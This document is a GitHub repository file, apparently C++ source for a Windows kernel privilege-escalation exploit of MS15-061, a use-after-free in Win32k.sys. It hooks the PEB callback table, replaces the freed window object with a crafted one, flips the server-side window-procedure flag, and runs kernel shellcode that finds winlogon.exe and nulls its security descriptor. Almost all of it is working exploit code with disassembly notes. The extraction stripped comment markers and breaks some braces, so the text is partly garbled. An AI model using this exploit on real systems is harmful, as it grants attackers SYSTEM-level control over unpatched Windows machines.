exploit/run.cpp at main · EricBack-Up/exploit · GitHub

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#include <windows.h>

#include<stdio.h>

Exploiting MS15-061 with reverse engineering Win32k.sys by

steps :

1: hook PEB callback Function

2: trigger vulnerability ( make proper Window to lead vulnerable function)

3: replace fake object with NtUserDefSetText in Desktop heap inside PEB callback

4: fake object with save exit buffer(0x0c0c0c0c) and pointer to tagWND

5: do it until bServerSideWindowProc is set

// TODO: check OS version , Code refactoring

ref:

https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/08/2015-08-27_-_ncc_group_-_exploiting_ms15_061_uaf_-_release.pdf

http://www.mista.nu/research/mandt-win32k-slides.pdf

https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/

typedef struct _HANDLEENTRY{

PVOID phead;

ULONG pOwner;

BYTE bType;

BYTE bFlags;

WORD wUniq;

}HANDLEENTRY,*PHANDLEENTRY;

typedef struct _SERVERINFO{

DWORD dwSRVIFlags;

DWORD cHandleEntries;

WORD wSRVIFlags;

WORD wRIPPID;

WORD wRIPError;

}SERVERINFO,*PSERVERINFO;

typedef struct _SHAREDINFO{

PSERVERINFO psi;

PHANDLEENTRY aheList;

ULONG HeEntrySize; // Win7 - not present in WinXP?

ULONG_PTR pDispInfo;

ULONG_PTR ulSharedDelta;

ULONG_PTR awmControl; // Not in XP

ULONG_PTR DefWindowMsgs; // Not in XP

ULONG_PTR DefWindowSpecMsgs; // Not in XP

}SHAREDINFO,*PSHAREDINFO;

void* Get__Win32ClientInfo()

{

+0x1d4 GdiTebBatch : _GDI_TEB_BATCH

+0x6b4 RealClientId : _CLIENT_ID

+0x6bc GdiCachedProcessHandle : Ptr32 Void

+0x6c0 GdiClientPID : Uint4B

+0x6c4 GdiClientTID : Uint4B

+0x6c8 GdiThreadLocalInfo : Ptr32 Void

+0x6cc Win32ClientInfo : [62] Uint4B

void* address=NULL;

__asm

{

mov eax,dword ptr fs:[00000018h] // eax=TEB

mov eax,dword ptr [eax+0x6cc] // Win32ClientInfo

mov address,eax;

}

return address;

}

CHAR originalCLS[0x5c+2];

HWND GetKernelHandle(HWND hwnd)

{

HWND kernelWindowHandle;

ULONG i;

HMODULE hUser32;

PSHAREDINFO pSharedInfo;

PSERVERINFO pServerInfo;

HANDLEENTRY *UserHandleTable;

pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");

if (pSharedInfo == NULL)

{

printf("[-] Unable to locate SharedInfo");

return NULL;

} else {

printf("[*] SharedInfo @ %#p\r\n", pSharedInfo);

}

UserHandleTable = pSharedInfo->aheList;

printf("[*] aheList @ %#p\r\n", UserHandleTable);

pServerInfo = pSharedInfo->psi;

printf("[*] pServerInfo @ %#p\r\n", pServerInfo);

printf("[*] Handle Count: %d\r\n", pServerInfo->cHandleEntries);

// printf("User Delta 0x%p\r\n", pSharedInfo->ulSharedDelta); Not used

for(i = 0; i < pServerInfo->cHandleEntries; i++ )

{

__try

{

kernelWindowHandle = (HWND)(i | (UserHandleTable[i].wUniq << 0x10));

if( kernelWindowHandle == hwnd )

{

kernelWindowHandle = (HWND)UserHandleTable[i].phead;

printf("[+] Kernel Window Handle found @ %#p\r\n", kernelWindowHandle);

return kernelWindowHandle;

}

__except(EXCEPTION_EXECUTE_HANDLER) {}

}

return NULL;

}

VOID ArbDecByOne(DWORD addr){

*(DWORD *)(originalCLS + 0x58) = addr - 0x4;

}

typedef struct _LARGE_UNICODE_STRING {

ULONG Length;

ULONG MaximumLength : 31;

ULONG bAnsi : 1;

PWSTR Buffer;

} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;

VOID RtlInitLargeUnicodeString(

PLARGE_UNICODE_STRING plstr,

LPCWSTR psz,

UINT cchLimit)

{

ULONG Length;

plstr->Buffer = (PWSTR)psz;

plstr->bAnsi = FALSE;

if ( psz!=NULL) {

Length = wcslen( psz ) * sizeof( WCHAR );

plstr->Length = min(Length, cchLimit);

plstr->MaximumLength = min((Length + sizeof(UNICODE_NULL)), cchLimit);

} else {

plstr->MaximumLength = 0;

plstr->Length = 0;

}

__declspec(naked) BOOL NTAPI NtUserDefSetText(

IN HWND hwnd,

IN PLARGE_UNICODE_STRING pstrText OPTIONAL

)

{

__asm

{

mov eax, 116Dh

mov edx, 7FFE0300h

call dword ptr [edx]

retn 8

}

//the Window Procedure

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)

{

return DefWindowProc(hwnd, msg, wParam, lParam);

}

void* kernelHandle;

__declspec(noinline) int Shellcode()

{

//return MessageBoxA(NULL,"Boom","boom",0);

__asm {

mov eax, kernelHandle // WND - Which window? Check this

mov eax, [eax+8] // THREADINFO

mov eax, [eax] // ETHREAD

mov eax, [eax+0x150] // KPROCESS

mov eax, [eax+0xb8] // flink

procloop:

lea edx, [eax-0xb8] // KPROCESS

mov eax, [eax]

add edx, 0x16c // module name

cmp dword ptr [edx], 0x6c6e6977 // “winl” for winlogon.exe

jne procloop

sub edx, 0x170

mov dword ptr [edx], 0x0 // NULL ACL

}

BOOL success = FALSE;

LRESULT CALLBACK WndProc2(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)

{

WORD um=0;

__asm

{

mov ax, cs

mov um, ax

}

if(um == 0x1b)

{

// USER MODE

} else

{

success=TRUE;

DebugBreak();

Shellcode();

}

return DefWindowProc(hwnd, msg, wParam, lParam);

}

HWND Secondhwnd[50];

int SecondWindowIndex=1;

void CreateSecondWindow()

{

WNDCLASSEX wc;

const WCHAR g_szClassName[] = L"SecondClass";

//Step 1: Registering the Window Class

wc.cbSize = sizeof(WNDCLASSEX);

wc.style = 0;

wc.lpfnWndProc = WndProc2;

wc.cbClsExtra = 0;

wc.cbWndExtra = 0;

wc.hInstance = NULL;

wc.hIcon = LoadIcon(NULL,IDI_QUESTION);

wc.hCursor = LoadCursor(NULL, IDI_QUESTION);

wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);

wc.lpszMenuName = NULL;

wc.lpszClassName = g_szClassName;

wc.hIconSm = LoadIcon(NULL,IDI_QUESTION);

if(!RegisterClassExW(&wc))

{

return ;

}

for ( int i=0;i<50;i++)

{

Secondhwnd[i] = CreateWindowEx(

WS_EX_CLIENTEDGE,

g_szClassName,

L"The title of my window",

WS_OVERLAPPEDWINDOW,

CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,

NULL, NULL, NULL, NULL);

if(Secondhwnd[i] == NULL)

{

return ;

}

const WCHAR g_szClassName[] = L"MS15-061";

HWND hwnd;

HINSTANCE hInstance2;

typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);

pUser32_ClientCopyImage g_originalCCI;

void* __ClientCopyImageAddress;

NTSTATUS NTAPI hookCCI(PVOID p)

{

LARGE_UNICODE_STRING plstr;

// free WND object

DestroyWindow(hwnd);

UnregisterClassW(g_szClassName,NULL);

.text:BF89EA6D push edx

.text:BF89EA6E call _xxxClientCopyImage@20 ; xxxClientCopyImage(x,x,x,x,x)

.text:BF89EA73 lea esi, [edi+58h] ------->>>> replace edi memeory with NtUserDefSetText

.text:BF89EA76 mov edx, eax

.text:BF89EA78 mov ecx, esi

.text:BF89EA7A call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)

DebugBreak();

RtlInitLargeUnicodeString(&plstr,(WCHAR*)originalCLS, (UINT)-1);

NtUserDefSetText(Secondhwnd[SecondWindowIndex],&plstr);

SecondWindowIndex+=1;

return g_originalCCI(p);

}

void* Get__ClientCopyImageAddressInPEB()

{

void* address=NULL;

__asm

{

mov edx , 0xD8; // 0x36 *4 -> API index *4 number for __ClientCopyImage

mov eax,dword ptr fs:[00000018h] // eax=TEB

mov eax,dword ptr [eax+30h] // EAX=PEB

mov eax,dword ptr [eax+2Ch] // EAX=KernelCallbackTable

add eax,edx

mov address,eax;

int 3

}

return address;

}

void init()

{

DWORD prot;

LoadLibraryA("user32.dll");

CreateSecondWindow();

void* lpvBase = VirtualAlloc(

(void*)0x0c0c0c0c, // System selects address

2048, // Size of allocation

MEM_RESERVE|MEM_COMMIT, // Allocate reserved pages

PAGE_READWRITE); // Protection = no access

for save exit : i used trick like Browser Fake vTable :

allocate 0x0c0c0c0c address and fill tagWND with 0x0c0c0c0c

so every dereference will loop in 0x0c0c0c0c

memset(lpvBase,'\x0c',2048);

memset(originalCLS,0,0x5c+2);

memset(originalCLS,'\x0c',0x5c);

+0x014 bForceMenuDraw : Pos 15, 1 Bit

+0x014 bDialogWindow : Pos 16, 1 Bit

+0x014 bHasCreatestructName : Pos 17, 1 Bit

+0x014 bServerSideWindowProc : Pos 18, 1 Bit

+0x014 bAnsiWindowProc : Pos 19, 1 Bit

kernelHandle=GetKernelHandle(Secondhwnd[0]);

ArbDecByOne((DWORD)kernelHandle+0x14); //

__ClientCopyImageAddress=Get__ClientCopyImageAddressInPEB();

printf("address of __ClientCopyImage is %x \r\n",__ClientCopyImageAddress);

if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))

{

return ;

}

g_originalCCI =(pUser32_ClientCopyImage) InterlockedExchangePointer(__ClientCopyImageAddress, &hookCCI);

}

int main()

{

WNDCLASSEX wc;

int x;

MSG Msg;

//Step 1: Registering the Window Class

wc.cbSize = sizeof(WNDCLASSEX);

wc.style = 0;

wc.lpfnWndProc = WndProc;

wc.cbClsExtra = 0;

wc.cbWndExtra = 0;

wc.hInstance = NULL;

wc.hIcon = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback

wc.hCursor = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback

wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);

wc.lpszMenuName = NULL;

wc.lpszClassName = g_szClassName;

wc.hIconSm = NULL; // bypass "if" inside xxxSetClassIcon to lead execution path to callback

init();

.text:BF91B33C mov edi, [ebp+pclsBase]

..............

.text:BF91B346 mov eax, [edi+58h]

.text:BF91B349 cmp eax, [ebp+arg_8] ; new and old icon must be diffrent

.text:BF91B34C jz loc_BF91B42C ----------->>> we need bypass this

..............

.text:BF91B396 loc_BF91B396: ; CODE XREF: xxxSetClassIcon(x,x,x,x)+68j

.text:BF91B396 lea esi, [edi+58h] ; EDI

.text:BF91B399 mov ecx, esi

.text:BF91B39B mov edx, [ebp+arg_8]

.text:BF91B39E call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)

.text:BF91B3A3 cmp dword ptr [edi+44h], 0

.text:BF91B3A7 jz short loc_BF91B3B4 ---------->>> we need bypass this

.text:BF91B3A9 cmp dword ptr [esi], 0

.text:BF91B3AC jnz short loc_BF91B3B4 ---------->>> we need bypass this

.text:BF91B3AE push edi

.text:BF91B3AF call _xxxCreateClassSmIcon@4 ; xxxCreateClassSmIcon(x)

{

if(!RegisterClassExW(&wc))

{

return 0;

}

// Step 2: Creating the Window

hwnd = CreateWindowEx(

WS_EX_CLIENTEDGE,

g_szClassName,

L"The title of my window",

WS_OVERLAPPEDWINDOW,

CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,

NULL, NULL, NULL, NULL);

if(hwnd == NULL)

{

return 0;

}

ShowWindow(hwnd, NULL);

UpdateWindow(hwnd);

//Triger UserMode CallBack

SetClassLongPtr(hwnd, GCLP_HICON, (LONG_PTR)LoadIcon(NULL, IDI_QUESTION));

SendMessageW(Secondhwnd[0], WM_NULL, NULL, NULL);

}while(!success);

}

exploit/run.cpp at main · EricBack-Up/exploit · GitHub

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